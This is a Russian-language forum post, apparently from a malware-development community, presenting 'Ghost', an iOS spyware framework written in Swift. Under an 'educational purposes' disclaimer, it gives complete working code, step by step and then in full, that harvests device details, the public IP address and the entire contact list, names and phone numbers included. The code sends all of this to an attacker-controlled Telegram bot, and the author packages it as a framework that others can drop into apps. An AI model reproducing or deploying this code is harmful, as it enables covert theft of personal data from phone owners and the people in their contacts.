Ghost spy framework for IOS

Man

Professional
Messages
2,965
Reaction score
488
Points
83
Дисклеймер: все в образовательной форме! За действия пользователей не несу ответственность.

Сидел я на досуге, как то и читал форум про malware разработку под android думаю, а почему нельзя сделать что то под iOS. Начал писать код. Создал проект в Xcode начал делать первые наброски. Сначала информацию о системе получал потом вспомнил что есть у эпла либа называется Contacts. По размышлял пришел к выводу будет сбор информации о системе, а так же получение контактов и все отправляется в telegram бота, как сейчас модно. В конце я сделал framework. Начнем!

0. Настройка
Swift:
import Foundation
internal import Alamofire
import Contacts

public class GhostManager {
public static let shared = GhostManager(); private init() {}
public var botToken: String = ""
public var chatId: String = ""
private var telegramApiUrl: String {
return "https://api.telegram.org/bot\(botToken)/sendMessage"
}

1. Первый мой шаг был это сбор информации о железе и ip-шник
Swift:
private func getSystemInfo(completion: @escaping (String) -> Void) {
let systemName = ProcessInfo.processInfo.operatingSystemVersionString
let hostName = ProcessInfo.processInfo.hostName
let userName = NSUserName()
let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024)
let message = """
System Info:
Version IOS: \(systemName)
Host Name: \(hostName)
User Name: \(userName)
Memory usage: \(mem) GB
 """
completion(message)
}

2. Дальше получение ip адреса:
Swift:
private func getIpAddress(completion: @escaping (String) -> Void) {
DispatchQueue.global(qos: .background).async {
AF.request("https://ipinfo.io/ip").validate().response { response in
switch response.result {
case .success(let data):
if let data = data, let responseString = String(data: data, encoding: .utf8) {
DispatchQueue.main.async {
completion("iPhone IP: \(responseString)")
}
} else {
DispatchQueue.main.async {
completion("IP успешно получен, но данные пустые.")
}
}
case .failure(let error):
DispatchQueue.main.async {
completion("Ошибка получения IP: \(error.localizedDescription)")
}
}
}
}
}

3. Получение контактов:
Swift:
private func fetchContacts(completion: @escaping (String) -> Void) {
DispatchQueue.global(qos: .background).async {
let store = CNContactStore()
store.requestAccess(for: .contacts) { granted, error in
if let error = error {
DispatchQueue.main.async {
completion("Ошибка доступа к контактам: \(error.localizedDescription)")
}
return
}
guard granted else {
DispatchQueue.main.async {
completion("Доступ к контактам был запрещен пользователем.")
}
return
}
               
let keysToFetch: [CNKeyDescriptor] = [
CNContactGivenNameKey as CNKeyDescriptor,
CNContactFamilyNameKey as CNKeyDescriptor,
CNContactPhoneNumbersKey as CNKeyDescriptor
]
let request = CNContactFetchRequest(keysToFetch: keysToFetch)
var result = "Контакты:\n"
               
do {
try store.enumerateContacts(with: request) { contact, stop in
let fullName = "\(contact.givenName) \(contact.familyName)"
let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue }
result += "Имя: \(fullName)\n"
result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n"
}
DispatchQueue.main.async {
completion(result)
}
} catch {
DispatchQueue.main.async {
completion("Ошибка получения контактов: \(error.localizedDescription)")
}
}
}
}
}

4. Напишем отправку данных в телеграмм:
[CODE=swift]private func sendMessageToTelegram(message: String) {
let parts = splitMessage(message)
let dispatchGroup = DispatchGroup()
       
for part in parts {
dispatchGroup.enter()
let parameters: [String: Any] = [
"chat_id": chatId,
"text": part
]
           
AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in
switch response.result {
case .success(let data):
if let data = data, let _ = String(data: data, encoding: .utf8) {
print("")
} else {
print("Сообщение успешно отправлено.")
}
case .failure(let error):
print("Ошибка отправки сообщения: \(error.localizedDescription)")
}
dispatchGroup.leave()
}
}
       
dispatchGroup.notify(queue: .main) {
print("Все сообщения успешно отправлены.")
}
}

5. Собираем все данные в кучу и готовим к отправке:
Swift:
public func sendMessage() {
let dispatchGroup = DispatchGroup()
var systemInfo: String?
var ipAddress: String?
var contactsInfo: String?
dispatchGroup.enter()
getSystemInfo { result in
systemInfo = result
dispatchGroup.leave()
}
dispatchGroup.enter()
getIpAddress { result in
ipAddress = result
dispatchGroup.leave()
}
dispatchGroup.notify(queue: .main) { [self] in
dispatchGroup.enter()
fetchContacts { result in
contactsInfo = result
dispatchGroup.leave()
}
dispatchGroup.notify(queue: .main) {
if let systemInfo = systemInfo {
self.sendMessageToTelegram(message: systemInfo)
}
               
if let ipAddress = ipAddress {
self.sendMessageToTelegram(message: ipAddress)
}
               
if let contactsInfo = contactsInfo {
self.sendMessageToTelegram(message: contactsInfo)
}
}
}
}

6. Разделение сообщения на части максимум слов которое содержится в сообщении в тг это 4096 поэтому разбиваем на части:
Swift:
private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] {
var result: [String] = []
var currentMessage = ""
       
for line in message.split(separator: "\n") {
if currentMessage.count + line.count + 1 > maxLength {
result.append(currentMessage)
currentMessage = ""
}
currentMessage += (currentMessage.isEmpty ? "" : "\n") + line
}
       
if !currentMessage.isEmpty {
result.append(currentMessage)
}
 return result
}
}

Ну вот написали я дальше задался вопросом а как сделать чтобы всем было удобно "пользоваться" и сделал framework написал документацию.

Ниже скрины с результатами прикреплю и документацию покажу. Надеюсь было интересно статьи особо писать не умею. Это моя первая публикация. Я знаю что нежелательно использовать доплнительные зависимости при написании framework. Тем более все рассчитано на образовательные цели!

Полный код:
Swift:
import Foundation
internal import Alamofire
import Contacts

public class GhostManager {
public static let shared = GhostManager(); private init() {}
public var botToken: String = ""
public var chatId: String = ""
private var telegramApiUrl: String {
return "https://api.telegram.org/bot\(botToken)/sendMessage"
}
private func getSystemInfo(completion: @escaping (String) -> Void) {
let systemName = ProcessInfo.processInfo.operatingSystemVersionString
let hostName = ProcessInfo.processInfo.hostName
let userName = NSUserName()
let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024)
let message = """
System Info:
Version IOS: \(systemName)
Host Name: \(hostName)
User Name: \(userName)
Memory usage: \(mem) GB
 """
completion(message)
}
private func getIpAddress(completion: @escaping (String) -> Void) {
DispatchQueue.global(qos: .background).async {
AF.request("https://ipinfo.io/ip").validate().response { response in
switch response.result {
case .success(let data):
if let data = data, let responseString = String(data: data, encoding: .utf8) {
DispatchQueue.main.async {
completion("iPhone IP: \(responseString)")
}
} else {
DispatchQueue.main.async {
completion("IP успешно получен, но данные пустые.")
}
}
case .failure(let error):
DispatchQueue.main.async {
completion("Ошибка получения IP: \(error.localizedDescription)")
}
}
}
}
}
private func fetchContacts(completion: @escaping (String) -> Void) {
DispatchQueue.global(qos: .background).async {
let store = CNContactStore()
store.requestAccess(for: .contacts) { granted, error in
if let error = error {
DispatchQueue.main.async {
completion("Ошибка доступа к контактам: \(error.localizedDescription)")
}
return
}
guard granted else {
DispatchQueue.main.async {
completion("Доступ к контактам был запрещен пользователем.")
}
return
}
               
let keysToFetch: [CNKeyDescriptor] = [
CNContactGivenNameKey as CNKeyDescriptor,
CNContactFamilyNameKey as CNKeyDescriptor,
CNContactPhoneNumbersKey as CNKeyDescriptor
]
let request = CNContactFetchRequest(keysToFetch: keysToFetch)
var result = "Контакты:\n"
               
do {
try store.enumerateContacts(with: request) { contact, stop in
let fullName = "\(contact.givenName) \(contact.familyName)"
let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue }
result += "Имя: \(fullName)\n"
result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n"
}
DispatchQueue.main.async {
completion(result)
}
} catch {
DispatchQueue.main.async {
completion("Ошибка получения контактов: \(error.localizedDescription)")
}
}
}
}
}
public func sendMessage() {
let dispatchGroup = DispatchGroup()
var systemInfo: String?
var ipAddress: String?
var contactsInfo: String?
dispatchGroup.enter()
getSystemInfo { result in
systemInfo = result
dispatchGroup.leave()
}
dispatchGroup.enter()
getIpAddress { result in
ipAddress = result
dispatchGroup.leave()
}
dispatchGroup.notify(queue: .main) { [self] in
dispatchGroup.enter()
fetchContacts { result in
contactsInfo = result
dispatchGroup.leave()
}
dispatchGroup.notify(queue: .main) {
if let systemInfo = systemInfo {
self.sendMessageToTelegram(message: systemInfo)
}
               
if let ipAddress = ipAddress {
self.sendMessageToTelegram(message: ipAddress)
}
               
if let contactsInfo = contactsInfo {
self.sendMessageToTelegram(message: contactsInfo)
}
}
}
}
private func sendMessageToTelegram(message: String) {
let parts = splitMessage(message)
let dispatchGroup = DispatchGroup()
       
for part in parts {
dispatchGroup.enter()
let parameters: [String: Any] = [
"chat_id": chatId,
"text": part
]
           
AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in
switch response.result {
case .success(let data):
if let data = data, let _ = String(data: data, encoding: .utf8) {
print("")
} else {
print("Сообщение успешно отправлено.")
}
case .failure(let error):
print("Ошибка отправки сообщения: \(error.localizedDescription)")
}
dispatchGroup.leave()
}
}
       
dispatchGroup.notify(queue: .main) {
print("Все сообщения успешно отправлены.")
}
}
private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] {
var result: [String] = []
var currentMessage = ""
       
for line in message.split(separator: "\n") {
if currentMessage.count + line.count + 1 > maxLength {
result.append(currentMessage)
currentMessage = ""
}
currentMessage += (currentMessage.isEmpty ? "" : "\n") + line
}
       
if !currentMessage.isEmpty {
result.append(currentMessage)
}
 return result
}
}

document.png


result.png
 
Top